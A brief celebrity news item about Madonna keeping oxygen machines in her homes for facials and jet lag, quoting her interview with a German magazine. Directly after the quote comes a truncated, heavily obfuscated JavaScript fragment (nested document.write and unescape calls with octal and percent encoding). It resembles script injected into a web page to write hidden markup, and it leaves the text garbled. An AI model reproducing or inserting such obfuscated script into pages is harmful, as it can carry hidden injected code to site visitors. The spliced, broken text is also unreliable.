Madonna has bought oxygen machines for each of her homes.
The singer who originally bought the machines to give herself oxygen facials, also uses them to provide extra energy when she suffers from jet lag.
She told a German magazine: "You can take the oxygen machine and inhale if you're feeling really tired or jet-lagged, which is one of the reasons I have them at home.
"You just lie down for 10 minutes and put it in your nose. They are really great."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
